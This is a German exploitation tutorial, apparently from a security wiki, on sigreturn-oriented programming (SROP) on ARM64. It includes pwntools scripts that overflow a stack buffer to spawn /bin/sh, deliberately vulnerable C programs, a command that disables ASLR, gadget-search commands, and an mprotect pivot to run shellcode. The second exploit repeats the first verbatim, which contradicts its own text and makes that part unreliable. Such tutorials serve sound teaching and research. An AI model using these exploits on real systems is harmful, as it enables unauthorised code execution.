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Pwntools-Beispiel

Dieses Beispiel erstellt die verwundbare Binärdatei und nutzt sie aus. Die Binärdatei liest in den Stack und ruft dann sigreturn auf:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

bof Beispiel

Code

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

Kompiliere es mit:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

Exploit

Der Exploit nutzt den bof aus, um zur Rückkehr zum Aufruf von sigreturn zu gelangen und den Stack vorzubereiten, um execve mit einem Zeiger auf /bin/sh aufzurufen.

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bof Beispiel ohne sigreturn

Code

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

In dem Abschnitt vdso ist es möglich, einen Aufruf zu sigreturn im Offset 0x7b0 zu finden:

Daher ist es, falls geleakt, möglich, diese Adresse zu verwenden, um auf ein sigreturn zuzugreifen, wenn die Binary es nicht lädt:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Für weitere Informationen über vdso siehe:

Ret2vDSO

Und um die Adresse von /bin/sh zu umgehen, könntest du mehrere Umgebungsvariablen erstellen, die darauf zeigen, für weitere Informationen:

ASLR

Automatisches Finden von sigreturn Gadgets (2023-2025)

In modernen Distributionen wird das sigreturn Trampolin weiterhin von der vDSO Seite exportiert, aber der genaue Offset kann je nach Kernel-Versionen und Build-Flags wie BTI (+branch-protection) oder PAC variieren. Die Automatisierung seiner Entdeckung verhindert das Hard-Coding von Offsets:

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

Beide Werkzeuge verstehen AArch64 Kodierungen und listen Kandidaten mov x8, 0x8b ; svc #0 Sequenzen auf, die als SROP Gadget verwendet werden können.

Hinweis: Wenn Binärdateien mit BTI kompiliert werden, ist die erste Anweisung jedes gültigen indirekten Sprungziels bti c. sigreturn Trampolines, die vom Linker platziert werden, enthalten bereits das richtige BTI-Landingpad, sodass das Gadget aus unprivilegiertem Code weiterhin verwendbar bleibt.

Verknüpfung von SROP mit ROP (Pivot über mprotect)

rt_sigreturn ermöglicht es uns, alle allgemeinen Register und pstate zu steuern. Ein gängiges Muster auf x86 ist: 1) SROP verwenden, um mprotect aufzurufen, 2) zu einem neuen ausführbaren Stack mit Shell-Code pivotieren. Die genau gleiche Idee funktioniert auf ARM64:

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

Nach dem Senden des Frames können Sie eine zweite Phase mit rohem Shell-Code bei 0x400000+0x100 senden. Da AArch64 PC-relative Adressierung verwendet, ist dies oft bequemer als das Erstellen großer ROP-Ketten.

Kernelvalidierung, PAC & Shadow-Stacks

Linux 5.16 führte eine strengere Validierung von Benutzersignal-Frames ein (Commit 36f5a6c73096). Der Kernel überprüft jetzt:

  • uc_flags muss UC_FP_XSTATE enthalten, wenn extra_context vorhanden ist.
  • Das reservierte Wort in struct rt_sigframe muss null sein.
  • Jeder Zeiger im extra_context Datensatz ist ausgerichtet und zeigt innerhalb des Benutzeradressraums.

pwntools>=4.10 erstellt konforme Frames automatisch, aber wenn Sie sie manuell erstellen, stellen Sie sicher, dass Sie reserviert null-initialisieren und den SVE-Datensatz weglassen, es sei denn, Sie benötigen ihn wirklich – andernfalls liefert rt_sigreturn SIGSEGV, anstatt zurückzukehren.

Beginnend mit dem Mainstream Android 14 und Fedora 38 wird der Userland standardmäßig mit PAC (Pointer Authentication) und BTI aktiviert kompiliert (-mbranch-protection=standard). SROP selbst ist nicht betroffen, da der Kernel PC direkt aus dem erstellten Frame überschreibt und den authentifizierten LR, der auf dem Stack gespeichert ist, umgeht; jedoch muss jede nachfolgende ROP-Kette, die indirekte Sprünge ausführt, zu BTI-aktivierten Anweisungen oder PACed-Adressen springen. Denken Sie daran, dies bei der Auswahl von Gadgets zu berücksichtigen.

Shadow-Call-Stacks, die in ARMv8.9 eingeführt wurden (und bereits in ChromeOS 1.27+ aktiviert sind), sind eine Compiler-Ebene Minderung und beeinträchtigen SROP nicht, da keine Rückgabebefehle ausgeführt werden – der Kontrollfluss wird vom Kernel übertragen.

Referenzen

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